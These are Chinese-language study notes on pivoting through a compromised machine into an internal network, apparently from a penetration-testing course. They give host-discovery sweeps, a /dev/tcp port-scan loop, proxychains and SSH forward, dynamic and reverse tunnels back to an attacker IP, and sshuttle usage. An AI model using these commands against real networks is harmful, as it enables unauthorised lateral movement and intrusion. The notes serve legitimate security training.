2.pivoting
通过一台机器,进而攻击内网其他机器(公网无法访问到)
metasploit等工具可以很容易做到,
手动:
1.隧道/代理
可以逃避简单的IDS的检测
2.端口转发
各有优缺吧,具体要看环境。先进一步探测一下看看再说
从这一步开始绘制拓扑图
如果获取了多个入口,Linux比较好横向移动
metasploit有个命令可以直接路由转发 portfwd
横移的第一步是收集信息
1.hosts文件,arp缓存
2.使用已经安装的软件
3.静态编译的工具
4.脚本
5.通过代理用本地的工具
代理用本地的可能很慢,所以不建议优先选择
优先选用本地有的软件,比如Linux有的时候会默认安装nmap
同时,这个时候要保持隐蔽性,不能大张旗鼓。
Linux arp -a
nmcli dev show
查看静态路由 /etc/hosts 本地dns服务器:/etc/resolv.conf
(may be misconfigured to allow something like a DNS zone transfer attack
windows arp -a
ipconfig /all 查看 C:\Windows\System32\drivers\etc\hosts
之所以用静态编译的是因为它理论上可以用在任何系统上,不然一些动态库之类的可能会影响效果。
资源网站:https://github.com/andrew-d/static-binaries
如果已经攻陷的机器没有nmap的话。。可以用脚本试试
比如bash脚本
for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done
powershell的话,很慢
C# C C++ Rust等还可以
https://github.com/MuirlandOracle/C-Sharp-Port-Scan
https://github.com/MuirlandOracle/CPP-Port-Scanner
有时候防火墙会阻止ICMP的ping
for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done
下面会用两种工具
Proxychains
这款工具用在其他工具前面,帮助其他工具走代理
比如:proxychains nc 172.16.0.10 23
上面代理并没有指定端口。它会从配置文件中读取 。
/etc/proxychains.conf
配置文件有几个地方可能存在。
读取顺序为:
- The current directory (i.e.
./proxychains.conf
) ~/.proxychains/proxychains.conf
/etc/proxychains.conf
目前对我们有用的地方就是这里
如果要用nmap扫描的话注释掉这个
注意事项:
1.只能用TCP scans 所以nmap的话,用-Pn
2.非常慢
FoxyProxy
如果要访问网页的话,这个很好用!
SSH 隧道 / 端口转发
正向连接
用ssh客户端进行ssh隧道建立
1.端口转发 用-L命令
举个例子:我们可以连接172.16.0.5,然后有个web服务器,ip是172.16.0.10
我们可以创建一个到服务器的链接
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
现在我们就可以通过本地的8000端口访问,通过ssh连接的机器访问web服务器,
-f 将任务放到后台
-N 只连接,不执行别的命令了
2.代理
-D 设置端口,这个端口要在proxychains中设置
这个可以和proxychains结合利用
ssh -D 1337 [user@172.16.0.5](mailto:user@172.16.0.5) -fN
通过本地1337端口,发送数据到攻击的网络中
反弹连接
ssh客户端连接很可能是反向连接??
当拿到一个shell但是没有ssh连接的话,反弹shell很常见
需要几步来保证反向连接的安全性
1.先生成一组新的ssh密钥并且存放在安全的地方。 命令 ssh-keygen
2.编辑~/.ssh/authorized_keys
先输入command=“echo ‘This account can only be used for port forwarding’”,no-agent-forwarding,no-x11-forwarding,no-pty
保证只能用于端口转发,不能获取shell
3.检查一下服务器状态
sudo systemctl status ssh
如果没开的话打开一下sudo systemctl start ssh
4.将私钥上传到攻陷的机器,看起来不可想象,通常不会这样做,所以我们生成了一次性的密钥
5.用下面的命令来做端口转发
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
现在windows也有内置的ssh客户端,所以我们也能在windows上实行这种攻击
sshuttle
它和其他的不太一样,更像模拟vpn。
通过ssh建立的隧道,传送的shu’j是加密的
它也有缺点,只能在Linux上用,需要ssh连接,需要python(可以上传静态python
kali安装:sudo apt install sshuttle
用法:
sshuttle -r username@address subnet
例如:sshuttle -r user@172.16.0.5 172.16.0.0/24
不过也可以用-N来自动获取路由
sshuttle -r username@address -N (不一定会成功
也可以在最后加一个& 来将将进程放置在后台
如果执行成功,会显示 c : Connected to server.
刚刚那种方式需要输入密码,如果没有密码呢?或者不支持密码登录
它本身没有指定的命令,不过我们可以Bypass
sshuttle -r user@address --ssh-cmd “ssh -i KEYFILE” SUBNET
报错处理:
client: Connected.
client_loop: send disconnect: Broken pipe
client: fatal: server died with error code 255
这个错误的原因是,受害机器就是这个子网的机器
解决方案: -x 排除自己
sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5